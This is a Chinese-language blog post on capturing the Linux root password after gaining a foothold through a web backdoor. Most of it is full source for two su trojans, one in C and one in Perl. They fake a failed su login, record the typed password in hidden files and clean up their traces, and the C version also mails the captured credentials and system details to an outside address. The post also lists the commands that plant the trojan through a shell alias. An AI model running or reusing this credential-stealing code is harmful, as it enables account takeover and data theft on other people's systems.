提权后获取linux root密码

在webbackdoor本身是root(可能性小的可怜)或通过某漏洞溢出成功得到最高权限后，如果能获取root密码能给我们带来很多的好处。查询了一下前辈的方法，一个是欺骗su记录密码，另外一个是替换sshd，我们先看看欺骗su记录密码的代码吧！

先看第一种,kpr-fakesu.c V0.9beta167

fucksu.c /* * kpr-fakesu.c V0.9beta167 ;P * by koper <koper@linuxmail.org> * * Setting up: * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * admin@host:~$ mv .su /var/tmp/.su * admin@host:~$ cp .bash_profile .wgetrc * admin@host:~$ echo “alias su=/var/tmp/.su”>>.bash_profile * admin@host:~$ logout * *** LOGIN *** * admin@host:~$ su * Password: * su: Authentication failure * Sorry. * admin@host:~$ su * Password: * root@host:~# logout * admin@host:~$ cat /var/tmp/.pwds * root:dupcia17 * admin@host:~$ * * /bin/su sends various failure information depending on the OS ver. * Please modify the source to make it “fit” ;) * */   #include <stdio.h> #include <stdlib.h>  main(int argc, char *argv[]){  FILE *fp; char *user; char *pass; char filex[100]; char clean[100];  sprintf(filex,”/var/tmp/.pwds”); sprintf(clean,”rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile”); if(argc==1) user=”root”; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], “-l”)==0) user=argv[2]; else user=argv[1];}  fprintf(stdout,”Password: “); pass=getpass (“”); system(“sleep 3″); fprintf(stdout,”su: Authentication failurenSorry.n”);  if ((fp=fopen(filex,”w”)) != NULL) { fprintf(fp, “%s:%sn”, user, pass); fclose(fp); }  system(clean); system(“rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su”);  /* If you don’t want password in your e-mail uncomment this line: */  system(“uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail [email protected]”);  }

perl版本

perl版本：

#!/usr/bin/perl  #################################################################################################### # [email protected] 2006 su trojan check so the su path is correct.                                 # # then make alias for trojan first it reads the pass then exec the real su.                       # # logging to /tmp/.pass                                                                         # #################################################################################################### print “Password: “; $s1=<STDIN>; print “Sorry.n”; $s2=”Password is: “; $s3=date +%Y-%m-%d; open (users, “>>/tmp/.pass”) || die (“Could not open file. $!”); print users ($s2, $s1,$s3); close (users);  system(“/bin/su”)  另一种方法，替换sshd